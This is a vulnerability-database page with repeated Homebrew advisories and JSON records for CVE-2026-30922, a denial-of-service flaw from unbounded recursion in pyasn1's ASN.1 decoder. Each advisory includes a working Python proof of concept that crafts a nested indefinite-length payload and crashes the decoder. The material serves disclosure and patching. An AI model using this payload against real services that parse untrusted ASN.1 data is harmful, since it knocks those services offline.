Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-ANSIBLE-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-31 18:52 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible",
            "purl": "pkg:brew/ansible"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.7.2"
                },
                {
                  "fixed": "13.4.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-ansible-CVE-2026-30922",
      "modified": "2026-10-31T18:52:28Z",
      "published": "2026-08-13T16:35:22Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-ANSIBLE@10-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-08 00:10 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.1",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ansible@10",
            "purl": "pkg:brew/ansible%4010"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "10.6.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.1",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.1"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-ansible@10-CVE-2026-30922",
      "modified": "2026-10-08T00:10:56Z",
      "published": "2026-08-13T16:35:22Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-ANSIBLE@12-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-10-07 22:50 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

